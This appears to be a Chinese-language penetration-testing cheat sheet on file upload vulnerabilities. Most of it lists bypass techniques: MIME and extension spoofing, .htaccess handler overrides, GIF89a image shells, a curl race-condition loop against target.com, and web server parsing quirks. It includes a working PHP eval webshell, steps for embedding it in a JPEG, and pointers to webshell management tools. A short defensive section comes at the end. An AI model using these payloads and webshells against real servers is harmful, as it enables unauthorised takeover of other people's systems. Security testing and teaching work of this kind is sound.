文件上传漏洞
漏洞概述
文件上传漏洞允许攻击者上传恶意文件(如 Webshell)到服务器,从而获得服务器控制权。
OWASP Top 10: A01:2021
危害等级: ⭐⭐⭐⭐⭐
漏洞检测
基础测试
# 上传正常文件
test.txt -> 成功
# 上传脚本文件
test.php -> 成功/失败?
test.asp -> 成功/失败?
test.jsp -> 成功/失败?
# 查看上传目录
/uploads/
/files/
/attachment/
绕过技巧
1. 前端验证绕过
# 方法 1: 禁用 JavaScript
# 方法 2: 使用 Burp Suite 拦截修改
# 方法 3: 本地保存页面,修改验证逻辑后上传
2. MIME 类型绕过
# 原始请求
Content-Type: application/x-php
# 修改为
Content-Type: image/jpeg
Content-Type: image/png
3. 文件扩展名绕过
# 大小写混合
test.Php
test.PHP
test.pHp
# 特殊扩展名
test.php3
test.php4
test.php5
test.phtml
test.phar
# 双扩展名
test.jpg.php
test.png.php
test.php.jpg
# 点空格点绕过 (Windows)
test.php. . .
test.php. .
test.php.
# ::$DATA (Windows)
test.php::$DATA
4. .htaccess 绕过
# 上传 .htaccess 文件
AddType application/x-httpd-php .jpg
SetHandler application/x-httpd-php
# 然后上传 test.jpg 内容为 PHP 代码
5. 文件头绕过
# 在 PHP 文件开头添加图片文件头
GIF89a
<?php phpinfo(); ?>
# 或使用 exif_imagetype 绕过
<?php
echo file_get_contents('shell.jpg');
echo '<?php @eval($_POST["cmd"]); ?>';
?>
6. 条件竞争绕过
# 快速上传并访问
for i in {1..100}; do
curl -F "file=@shell.php" http://target.com/upload &
curl http://target.com/uploads/shell.php?cmd=whoami &
done
7. 解析漏洞
Nginx 解析漏洞
# 上传文件
test.jpg
# 访问
/uploads/test.jpg/shell.php
/uploads/test.jpg%00.php
Apache 解析漏洞
# 上传文件
test.php.xxxxx
# 从右到左解析,如果 xxxxx 不认识,继续解析 php
IIS 解析漏洞
# IIS 6.0
/test.asp/shell.php
/test.asp;shell.php
# IIS 7.0/7.5 (FastCGI)
/test.jpg%00.php
工具检测
Burp Suite
# 使用 Intruder 模块
# Payload: 各种扩展名组合
.php, .php3, .phtml, .php5, .jpg.php
Upload-Bypass
# 自动化上传绕过工具
python upload-bypass.py -u http://target.com/upload -f shell.php
实战案例
案例 1: 简单扩展名过滤
# 过滤 .php
# 绕过:使用 .php5
curl -F "file=@shell.php5" http://target.com/upload
案例 2: MIME 类型 + 扩展名过滤
# 使用图片马
# 1. 准备正常图片
cp logo.jpg shell.jpg
# 2. 追加 PHP 代码
echo '<?php @eval($_POST["cmd"]); ?>' >> shell.jpg
# 3. 修改 Content-Type
curl -F "file=@shell.jpg;type=image/jpeg" http://target.com/upload
# 4. 配合 .htaccess 解析
案例 3: 二次渲染绕过
# 有些系统会对图片二次渲染,去除 PHP 代码
# 使用 GIF89a 文件头 + 代码分离
# 上传 shell.gif (包含 PHP 代码)
# 上传 .htaccess (设置解析)
# 访问 shell.gif 执行 PHP
Webshell 管理工具
中国蚁剑
# 连接 Webshell
# URL: http://target.com/uploads/shell.php
# 密码:cmd
# 然后执行命令、管理文件
冰蝎
# 加密 Webshell,绕过流量检测
# 需要对应版本的客户端
哥斯拉
防御建议
-
白名单验证
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, $allowed)) {
die('Invalid file type');
}
-
重命名文件
$new_name = uniqid() . '.jpg';
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_name);
-
设置执行权限
# 上传目录禁止执行 PHP
# Apache .htaccess
<Directory "/uploads">
php_flag engine off
</Directory>
# Nginx
location /uploads {
location ~ \.php$ {
deny all;
}
}
-
文件内容检查
$image_info = getimagesize($_FILES['file']['tmp_name']);
if ($image_info === false) {
die('Invalid image');
}
-
使用云存储
- 将文件存储到 OSS/S3
- 与 Web 服务器分离
参考链接